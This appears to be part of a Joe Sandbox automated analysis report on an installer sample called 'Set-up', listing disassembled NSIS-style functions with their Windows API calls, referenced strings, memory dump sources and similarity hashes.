Function 004024FB Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 133comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00409B24,?,00000001,00409B04,?), ref: 0040257E

Strings

CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d, xrefs: 00402560

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID: CreateInstance
String ID: CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d
API String ID: 542301482-1377821865
Opcode ID: 0ddbb4256677b6c48083548557f3f7fdb52e2b2de327cf14ae3b1cdcca70b28b
Instruction ID: c24c797a6f187c751e7d972b1a807078ee58ffeb38f484aa28d094541f0f6205
Opcode Fuzzy Hash: 0ddbb4256677b6c48083548557f3f7fdb52e2b2de327cf14ae3b1cdcca70b28b
Instruction Fuzzy Hash: 02415E74A00205BFCF04EFA0CC99EAE7B79FF48314B20456AF915EB2E1C679A941CB54

Function 00402E18 Relevance: 1.5, APIs: 1, Instructions: 27fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 00402E27

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 005be0a9498432eb51f9697d6085e84733c01c19a866f8c94ce5140aa3afdc34
Instruction ID: b91193b5dd17d351e639dca097a4c2443a83fae7855d8014906372cda19badf2
Opcode Fuzzy Hash: 005be0a9498432eb51f9697d6085e84733c01c19a866f8c94ce5140aa3afdc34
Instruction Fuzzy Hash: 4EE06D32600204AFD700EB749D45ABE736CDF01329F20457BF146F20D1E6B89A41976A

Function 004063AC Relevance: 70.3, APIs: 29, Strings: 11, Instructions: 256libraryloadermemoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00000FA0), ref: 004063BF
lstrlenW.KERNEL32(?), ref: 004063CC
GetVersionExW.KERNEL32(?), ref: 0040642A

Part of subcall function 0040602B: CharUpperW.USER32(?,00406401,?), ref: 00406031

LoadLibraryA.KERNEL32(PSAPI.DLL), ref: 00406469
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 00406488
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 00406492
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 0040649D
FreeLibrary.KERNEL32(00000000), ref: 004064D4
GlobalFree.KERNEL32(?), ref: 004064DD

Strings

CreateToolhelp32Snapshot, xrefs: 004065B5
EnumProcessModules, xrefs: 0040648A
EnumProcesses, xrefs: 00406482
Process32NextW, xrefs: 004065C8
Kernel32.DLL, xrefs: 0040659B
Module32FirstW, xrefs: 004065D3
Process32FirstW, xrefs: 004065BD
Module32NextW, xrefs: 004065DE
Unknown, xrefs: 004064FC
GetModuleBaseNameW, xrefs: 00406494
PSAPI.DLL, xrefs: 00406464

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID: AddressProc$FreeGlobalLibrary$AllocCharLoadUpperVersionlstrlen
String ID: CreateToolhelp32Snapshot$EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Kernel32.DLL$Module32FirstW$Module32NextW$PSAPI.DLL$Process32FirstW$Process32NextW$Unknown
API String ID: 20674999-2124804629
Opcode ID: a5c47c37ebb79c3570a5199304d67498c128a01cd5ae19e8b8640fa4b13707a3
Instruction ID: f5db07f83b48746be4b9c4f5c588c21b75103c60b5638216cabcef37c42edb4d
Opcode Fuzzy Hash: a5c47c37ebb79c3570a5199304d67498c128a01cd5ae19e8b8640fa4b13707a3
Instruction Fuzzy Hash: 38919331900219EBDF109FA4CD88AAFBBB8EF44741F11447BE546F6281DB388A51CF68

Function 004040B8 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 210windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 0040416D
GetDlgItem.USER32(?,000003E8), ref: 00404181
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 0040419E
GetSysColor.USER32(?), ref: 004041AF
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004041BD
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004041CB
lstrlenW.KERNEL32(?), ref: 004041D6
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004041E3
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004041F2

Part of subcall function 00403FCA: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,?,00000000,00404124,?), ref: 00403FE1
Part of subcall function 00403FCA: GlobalAlloc.KERNEL32(00000040,00000001,?,?,?,00000000,00404124,?), ref: 00403FF0
Part of subcall function 00403FCA: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000001,00000000,00000000,?,?,00000000,00404124,?), ref: 00404004

GetDlgItem.USER32(?,0000040A), ref: 0040424A
SendMessageW.USER32(00000000), ref: 00404251
GetDlgItem.USER32(?,000003E8), ref: 0040427E
SendMessageW.USER32(00000000,0000044B,00000000,?), ref: 004042C1
LoadCursorW.USER32(00000000,00007F02), ref: 004042CF
SetCursor.USER32(00000000), ref: 004042D2
ShellExecuteW.SHELL32(0000070B,open,00462540,00000000,00000000,00000001), ref: 004042E7
LoadCursorW.USER32(00000000,00007F00), ref: 004042F3
SetCursor.USER32(00000000), ref: 004042F6
SendMessageW.USER32(00000111,00000001,00000000), ref: 00404325
SendMessageW.USER32(00000010,00000000,00000000), ref: 00404337

Strings

N, xrefs: 0040426C
@%F, xrefs: 004042A7
open, xrefs: 004042DF

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID: MessageSend$Cursor$Item$ByteCharLoadMultiWide$AllocButtonCheckColorExecuteGlobalShelllstrlen
String ID: @%F$N$open
API String ID: 3928313111-3849437375
Opcode ID: a841256503f372cb329faf737530af9fe18869c9bb3e71d47027397a25b41a99
Instruction ID: 2c1438ad93098d7b112eeb2502b55652a68651cb38e922ac8f4fb42b83a973d4
Opcode Fuzzy Hash: a841256503f372cb329faf737530af9fe18869c9bb3e71d47027397a25b41a99
Instruction Fuzzy Hash: 0F71A4B1900609FFDB109F60DD45EAA7B79FB44305F00843AFA05B62D1C778A991CF99

Function 00406A99 Relevance: 33.4, APIs: 15, Strings: 4, Instructions: 163filestringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(0045B2C8,NUL,?,00000000,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE,?,00000000,000000F1,?), ref: 00406AA9
CloseHandle.KERNEL32(00000000,000000F1,00000000,00000001,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE,?,00000000,000000F1,?), ref: 00406AC8
GetShortPathNameW.KERNEL32(000000F1,0045B2C8,00000400), ref: 00406AD1

Part of subcall function 00405DB6: lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DC6
Part of subcall function 00405DB6: lstrlenA.KERNEL32(?,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DF8

GetShortPathNameW.KERNEL32(000000F1,00460920,00000400), ref: 00406AF2
WideCharToMultiByte.KERNEL32(00000000,00000000,0045B2C8,000000FF,0045BAC8,00000400,00000000,00000000,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE), ref: 00406B1B
WideCharToMultiByte.KERNEL32(00000000,00000000,00460920,000000FF,0045C118,00000400,00000000,00000000,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE), ref: 00406B33
wsprintfA.USER32 ref: 00406B4D
GetFileSize.KERNEL32(00000000,00000000,00460920,C0000000,00000004,00460920,?,?,00000000,000000F1,?), ref: 00406B85
GlobalAlloc.KERNEL32(00000040,0000000A), ref: 00406B94
ReadFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00406BB0
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename]), ref: 00406BE0
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,0045C518,00000000,-0000000A,0040987C,00000000,[Rename]), ref: 00406C37

Part of subcall function 00405E50: GetFileAttributesW.KERNELBASE(00000003,004035C7,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00405E54
Part of subcall function 00405E50: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A47,?), ref: 00405E76

WriteFile.KERNEL32(?,00000000,?,?,00000000), ref: 00406C4B
GlobalFree.KERNEL32(00000000), ref: 00406C52
CloseHandle.KERNEL32(?), ref: 00406C5C

Strings

[Rename], xrefs: 00406BC8, 00406BD7
NUL, xrefs: 00406A9E
F, xrefs: 00406AE8
%s=%s, xrefs: 00406B43

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID: File$ByteCharCloseGlobalHandleMultiNamePathShortWidelstrcpylstrlen$AllocAttributesCreateFreePointerReadSizeWritewsprintf
String ID: F$%s=%s$NUL$[Rename]
API String ID: 565278875-1653569448
Opcode ID: a2f4805b9b6d14c41e9e3fa236157f8587e3d6293513dd7448d110fd9e4d9510
Instruction ID: f97e154d5ee7f709bd30e138c0dd6e282719408add8f0d739c14b832633f1bd9
Opcode Fuzzy Hash: a2f4805b9b6d14c41e9e3fa236157f8587e3d6293513dd7448d110fd9e4d9510
Instruction Fuzzy Hash: AE412632104208BFE6206B619E8CD6B3B6CDF86754B16043EF586F22D1DA3CDC158ABC

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010D8
FillRect.USER32(00000000,?,00000000), ref: 004010ED
DeleteObject.GDI32(?), ref: 004010F6
CreateFontIndirectW.GDI32(?), ref: 0040110E
SetBkMode.GDI32(00000000,00000001), ref: 0040112F
SetTextColor.GDI32(00000000,000000FF), ref: 00401139
SelectObject.GDI32(00000000,?), ref: 00401149
DrawTextW.USER32(00000000,0046ADC0,000000FF,00000010,00000820), ref: 0040115F
SelectObject.GDI32(00000000,00000000), ref: 00401169
DeleteObject.GDI32(?), ref: 0040116E
EndPaint.USER32(?,?), ref: 00401177

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: f4369597f17a3e87964d78a18e042c43d151941ad2c2ecd61bd33e0f0092c561
Instruction ID: e7530e13063599d95e155ed3b2c7b7521dfa2668d538c4695d9c695e9582dc0d
Opcode Fuzzy Hash: f4369597f17a3e87964d78a18e042c43d151941ad2c2ecd61bd33e0f0092c561
Instruction Fuzzy Hash: 01516C71400209AFCB058F95DE459AF7FB9FF45311F00802EF992AA1A0CB78DA55DFA4

Function 00402880 Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 131registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004028DA
lstrlenW.KERNEL32(004130D8,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 004028FD
RegSetValueExW.ADVAPI32(?,?,?,?,004130D8,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004029BC
RegCloseKey.ADVAPI32(?), ref: 004029E4

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

WriteRegExpandStr: "%s\%s" "%s"="%s", xrefs: 0040292A
WriteReg: error creating key "%s\%s", xrefs: 004029F5
WriteRegBin: "%s\%s" "%s"="%s", xrefs: 004029A1
WriteRegStr: "%s\%s" "%s"="%s", xrefs: 00402918
WriteRegDWORD: "%s\%s" "%s"="0x%08x", xrefs: 00402959
WriteReg: error writing into "%s\%s" "%s", xrefs: 004029D4

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID: lstrlen$CloseCreateValuewvsprintf
String ID: WriteReg: error creating key "%s\%s"$WriteReg: error writing into "%s\%s" "%s"$WriteRegBin: "%s\%s" "%s"="%s"$WriteRegDWORD: "%s\%s" "%s"="0x%08x"$WriteRegExpandStr: "%s\%s" "%s"="%s"$WriteRegStr: "%s\%s" "%s"="%s"
API String ID: 1641139501-220328614
Opcode ID: 51d35262b0c2a2c9e21de093e360e43a16013741a0d7e0050a8341ec78c57d1d
Instruction ID: 4ea7a0066738be70411365ddd6f3e5606018e51d84950e7919a1ab5782edcef9
Opcode Fuzzy Hash: 51d35262b0c2a2c9e21de093e360e43a16013741a0d7e0050a8341ec78c57d1d
Instruction Fuzzy Hash: 3D41BFB2D00209BFDF11AF90CE46DAEBBB9EB04704F20407BF505B61A1D6B94B509B59

Function 00402E55 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 103memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,000000F0), ref: 00402EA9
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,?,000000F0), ref: 00402EC5
GlobalFree.KERNEL32(FFFFFD66), ref: 00402EFE
WriteFile.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,000000F0), ref: 00402F10
GlobalFree.KERNEL32(00000000), ref: 00402F17
CloseHandle.KERNEL32(?,?,?,?,?,000000F0), ref: 00402F2F
DeleteFileW.KERNEL32(?), ref: 00402F56

Strings

created uninstaller: %d, "%s", xrefs: 00402F3B

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID: created uninstaller: %d, "%s"
API String ID: 3294113728-3145124454
Opcode ID: 7d19fd18931236c609f14dd9ebe02190de13aa3954742adab313f132dac73535
Instruction ID: 876417c632a2c352b67fb01c84f3ccb8dada3a759dccfb7ac575e016526b3130
Opcode Fuzzy Hash: 7d19fd18931236c609f14dd9ebe02190de13aa3954742adab313f132dac73535
Instruction Fuzzy Hash: E231B272800115BBCB11AFA4CE45DAF7FB9EF08364F10023AF555B61E1CB794E419B98

Function 004060E7 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72filestringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,004062D4,00000000), ref: 004060FE
GetFileAttributesW.KERNEL32(0046A560,?,00000000,00000000,?,?,004062D4,00000000), ref: 0040613C
WriteFile.KERNEL32(00000000,000000FF,00000002,00000000,00000000,0046A560,40000000,00000004), ref: 00406175
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,0046A560,40000000,00000004), ref: 00406181
lstrcatW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00409678,?,00000000,00000000,?,?,004062D4,00000000), ref: 0040619B
lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),?,?,004062D4,00000000), ref: 004061A2
WriteFile.KERNEL32(RMDir: RemoveDirectory invalid input(""),00000000,004062D4,00000000,?,?,004062D4,00000000), ref: 004061B7

Strings

RMDir: RemoveDirectory invalid input(""), xrefs: 00406195, 0040619A, 004061A1, 004061B0

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID: File$Write$AttributesCloseHandlePointerlstrcatlstrlen
String ID: RMDir: RemoveDirectory invalid input("")
API String ID: 3734993849-2769509956
Opcode ID: db2296b131d449b30ff8990abd275774a0521ce3dbf342b3e8cfb01d18cadc82
Instruction ID: 719ae6cd10854ac59b0cdc08190af65770ef99398ad526dd54b0ef62760a23c4
Opcode Fuzzy Hash: db2296b131d449b30ff8990abd275774a0521ce3dbf342b3e8cfb01d18cadc82
Instruction Fuzzy Hash: 4621F271400200BBD710AB64DD88D9B376CEB02370B25C73AF626BA1E1E77449868BAD

Function 00403DCA Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 00403DE4
GetSysColor.USER32(00000000), ref: 00403E00
SetTextColor.GDI32(?,00000000), ref: 00403E0C
SetBkMode.GDI32(?,?), ref: 00403E18
GetSysColor.USER32(?), ref: 00403E2B
SetBkColor.GDI32(?,?), ref: 00403E3B
DeleteObject.GDI32(?), ref: 00403E55
CreateBrushIndirect.GDI32(?), ref: 00403E5F

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: ac93da855729cb6ae330e7292f06b4dcfb528e6a29ab184958864ff4432b54b5
Instruction ID: efe235911933e34786796033030fc6f48e67331b78f43f6f4bde0ddab4ebbdd0
Opcode Fuzzy Hash: ac93da855729cb6ae330e7292f06b4dcfb528e6a29ab184958864ff4432b54b5
Instruction Fuzzy Hash: 7D1166715007046BCB219F78DE08B5BBFF8AF01755F048A2DE886F22A0D774DA48CB94

Function 004023F0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 83libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000001,000000F0), ref: 0040241C

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 0040242D
FreeLibrary.KERNEL32(?,?), ref: 004024C3

Strings

Error registering DLL: Could not initialize OLE, xrefs: 004024F1
Error registering DLL: Could not load %s, xrefs: 004024DB
Error registering DLL: %s not found in %s, xrefs: 0040249A

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
